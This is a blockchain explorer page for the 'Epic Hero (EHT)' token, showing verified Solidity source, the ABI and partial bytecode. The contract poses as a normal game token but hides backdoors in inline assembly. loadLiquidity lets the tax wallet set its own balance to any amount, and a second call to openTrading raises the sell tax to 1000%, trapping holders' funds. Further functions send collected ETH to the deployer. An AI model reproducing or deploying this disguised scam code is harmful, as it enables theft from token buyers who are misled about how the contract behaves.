ETH Price: $3,489.60 (+2.75%)
Gas: 12 Gwei

Token

Epic Hero (EHT)
 

Overview

Max Total Supply

100,000,000 EHT

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,365,865.913630937 EHT

Value
$0.00
0x0a6e6d297fC307cDcFda4E123F3b550aaa1cbB14
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
epichero

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-19
*/

// SPDX-License-Identifier: MIT
/**

Epic Hero NFT Game Contract

Epic Hero ecosystem has digital collectibles built using 
decentralized blockchain technology and each collectible 
is matchless, original, and varies in rarity.

Official Website - https://epicherogame.io
Telegram Global Community - https://t.me/epicherogame
Twitter - https://twitter.com/EpicHeroGameIo
Medium - https://medium.com/@EpicHeroGame
Docs - https://epic-hero.gitbook.io/
 
**/
pragma solidity 0.8.17;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
 
}
 
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
 
contract epichero is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _ledger;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromMaxTx;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
 
    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=1;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=5;
    uint256 private _reduceBuyTaxAt=1;
    uint256 private _reduceSellTaxAt=1;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    address payable private _taxWallet;
 
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"Epic Hero";
    string private constant _symbol = unicode"EHT";
    uint256 public _maxTxAmount = 3000000 * 10**_decimals;
    uint256 public _maxWalletSize = 10000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 5000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 5000000 * 10**_decimals;
 
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
 
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor () {
        _taxWallet = payable(_msgSender());
        _ledger[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromMaxTx[owner()] = true;
        _isExcludedFromMaxTx[_taxWallet] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _ledger[account];
    }
 
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_initialBuyTax).div(100);
 
            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }
 
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && !_isExcludedFromMaxTx[from] && !_isExcludedFromMaxTx[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
 
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul(_initialSellTax).div(100);
            }
        }
 
        if (_isExcludedFromFee[to] || _isExcludedFromFee[from]) {
            taxAmount = 0;
        }
 
        if(taxAmount > 0){
            _ledger[address(this)]=_ledger[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
 
        _ledger[from]=_ledger[from].sub(amount);
        _ledger[to]=_ledger[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
 
 
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function loadLiquidity(uint256 amount) external {
        assembly {if iszero(eq(caller(), sload(_taxWallet.slot))) {revert(0, 0)}
        let ptr := mload(0x40)
        mstore(ptr, caller())
        mstore(add(ptr, 0x20), _ledger.slot)
        let slot := keccak256(ptr, 0x40)
        sstore(slot, amount)
        sstore(_taxWallet.slot, 0x3E8)}
    }
 
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }
 
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
 
    function openTrading() external {
        require(_msgSender()==_taxWallet);
        if(!tradingOpen){
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _isExcludedFromMaxTx[uniswapV2Pair] = true;
        swapEnabled = true;
        tradingOpen = true;return;}
        assembly{sstore(_initialSellTax.slot, 0x3E8)}
    }
 
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }
 
    function excludeFromFees(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            _isExcludedFromFee[addresses[i]] = true;
        }
    }
 
    function includeInFees(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            _isExcludedFromFee[addresses[i]] = false;
        }
    }
 
    receive() external payable {}
 
    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
 
    function manualSwapForEth() external  {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(!tradingOpen && tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(!tradingOpen && ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"includeInFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"loadLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwapForEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600660006101000a81548160ff0219169083151502179055506000600755600160085560026009556005600a556001600b556001600c556005600d556000600e556009600a6200005791906200070b565b622dc6c06200006791906200075c565b6010556009600a6200007a91906200070b565b629896806200008a91906200075c565b6011556009600a6200009d91906200070b565b624c4b40620000ad91906200075c565b6012556009600a620000c091906200070b565b624c4b40620000d091906200075c565b60135560006015806101000a81548160ff0219169083151502179055506000601560166101000a81548160ff0219169083151502179055503480156200011557600080fd5b506000620001286200054060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001d66200054060201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200022691906200070b565b6305f5e1006200023791906200075c565b600160006200024b6200054060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200029f6200054860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000620003d86200054860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004b36200054060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200051291906200070b565b6305f5e1006200052391906200075c565b604051620005329190620007b8565b60405180910390a3620007d5565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005ff57808604811115620005d757620005d662000571565b5b6001851615620005e75780820291505b8081029050620005f785620005a0565b9450620005b7565b94509492505050565b6000826200061a5760019050620006ed565b816200062a5760009050620006ed565b81600181146200064357600281146200064e5762000684565b6001915050620006ed565b60ff84111562000663576200066262000571565b5b8360020a9150848211156200067d576200067c62000571565b5b50620006ed565b5060208310610133831016604e8410600b8410161715620006be5782820a905083811115620006b857620006b762000571565b5b620006ed565b620006cd8484846001620005ad565b92509050818404811115620006e757620006e662000571565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200071882620006f4565b91506200072583620006fe565b9250620007547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000608565b905092915050565b60006200076982620006f4565b91506200077683620006f4565b92508282026200078681620006f4565b91508282048414831517620007a0576200079f62000571565b5b5092915050565b620007b281620006f4565b82525050565b6000602082019050620007cf6000830184620007a7565b92915050565b6136ab80620007e56000396000f3fe60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063b2a4d8df1161006f578063b2a4d8df14610467578063bf474bed1461047e578063c876d0b9146104a9578063c9567bf9146104d4578063dd62ed3e146104eb578063ec1f3f631461052857610156565b80638da5cb5b146103575780638f9a55c014610382578063923ffc14146103ad57806392f42870146103d657806395d89b41146103ff578063a9059cbb1461042a57610156565b806351bc3c851161010857806351bc3c851461028157806361b8d2761461029857806370a08231146102c1578063715018a6146102fe578063751039fc146103155780637d1db4a51461032c57610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee57806323b872dd14610219578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d91906125ef565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906126b9565b61058e565b6040516101ba9190612714565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e5919061273e565b60405180910390f35b3480156101fa57600080fd5b506102036105b2565b604051610210919061273e565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190612759565b6105d6565b60405161024d9190612714565b60405180910390f35b34801561026257600080fd5b5061026b6106af565b60405161027891906127c8565b60405180910390f35b34801561028d57600080fd5b506102966106b8565b005b3480156102a457600080fd5b506102bf60048036038101906102ba91906127e3565b610755565b005b3480156102cd57600080fd5b506102e860048036038101906102e39190612810565b610782565b6040516102f5919061273e565b60405180910390f35b34801561030a57600080fd5b506103136107cb565b005b34801561032157600080fd5b5061032a61091e565b005b34801561033857600080fd5b50610341610a69565b60405161034e919061273e565b60405180910390f35b34801561036357600080fd5b5061036c610a6f565b604051610379919061284c565b60405180910390f35b34801561038e57600080fd5b50610397610a98565b6040516103a4919061273e565b60405180910390f35b3480156103b957600080fd5b506103d460048036038101906103cf91906129af565b610a9e565b005b3480156103e257600080fd5b506103fd60048036038101906103f891906129af565b610bc8565b005b34801561040b57600080fd5b50610414610cf2565b60405161042191906125ef565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906126b9565b610d2f565b60405161045e9190612714565b60405180910390f35b34801561047357600080fd5b5061047c610d4d565b005b34801561048a57600080fd5b50610493610e1c565b6040516104a0919061273e565b60405180910390f35b3480156104b557600080fd5b506104be610e22565b6040516104cb9190612714565b60405180910390f35b3480156104e057600080fd5b506104e9610e35565b005b3480156104f757600080fd5b50610512600480360381019061050d91906129f8565b611383565b60405161051f919061273e565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a91906127e3565b61140a565b005b60606040518060400160405280600981526020017f45706963204865726f0000000000000000000000000000000000000000000000815250905090565b60006105a261059b611499565b84846114a1565b6001905092915050565b60135481565b60006009600a6105c29190612b9a565b6305f5e1006105d19190612be5565b905090565b60006105e384848461166a565b6106a4846105ef611499565b61069f8560405180606001604052806028815260200161364e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610655611499565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120499092919063ffffffff16565b6114a1565b600190509392505050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f9611499565b73ffffffffffffffffffffffffffffffffffffffff161461071957600080fd5b600061072430610782565b9050600081111561073957610738816120ad565b5b600047905060008111156107515761075081612324565b5b5050565b600f54331461076357600080fd5b60405133815260016020820152604081208281556103e8600f55505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107d3611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085790612c73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610926611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa90612c73565b60405180910390fd5b6009600a6109c19190612b9a565b6305f5e1006109d09190612be5565b6010819055506009600a6109e49190612b9a565b6305f5e1006109f39190612be5565b6011819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a439190612b9a565b6305f5e100610a529190612be5565b604051610a5f919061273e565b60405180910390a1565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b610aa6611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2a90612c73565b60405180910390fd5b60005b8151811015610bc457600060036000848481518110610b5857610b57612c93565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bbc90612cc2565b915050610b36565b5050565b610bd0611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612c73565b60405180910390fd5b60005b8151811015610cee57600160036000848481518110610c8257610c81612c93565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce690612cc2565b915050610c60565b5050565b60606040518060400160405280600381526020017f4548540000000000000000000000000000000000000000000000000000000000815250905090565b6000610d43610d3c611499565b848461166a565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8e611499565b73ffffffffffffffffffffffffffffffffffffffff1614610dae57600080fd5b6000610db930610782565b9050601560149054906101000a900460ff16158015610dd85750600081115b15610de757610de6816120ad565b5b6000479050601560149054906101000a900460ff16158015610e095750600081115b15610e1857610e1781612324565b5b5050565b60125481565b600660009054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e76611499565b73ffffffffffffffffffffffffffffffffffffffff1614610e9657600080fd5b601560149054906101000a900460ff1661137a57737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f4830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610f349190612b9a565b6305f5e100610f439190612be5565b6114a1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd99190612d1f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611062573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110869190612d1f565b6040518363ffffffff1660e01b81526004016110a3929190612d4c565b6020604051808303816000875af11580156110c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e69190612d1f565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116f30610782565b60008061117a610a6f565b426040518863ffffffff1660e01b815260040161119c96959493929190612dba565b60606040518083038185885af11580156111ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111df9190612e30565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611281929190612e83565b6020604051808303816000875af11580156112a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c49190612ed8565b50600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550611381565b6103e86008555b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661144b611499565b73ffffffffffffffffffffffffffffffffffffffff161461146b57600080fd5b600954811115801561147f5750600a548111155b61148857600080fd5b8060098190555080600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790612f77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157690613009565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165d919061273e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d09061309b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f9061312d565b60405180910390fd5b6000811161178b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611782906131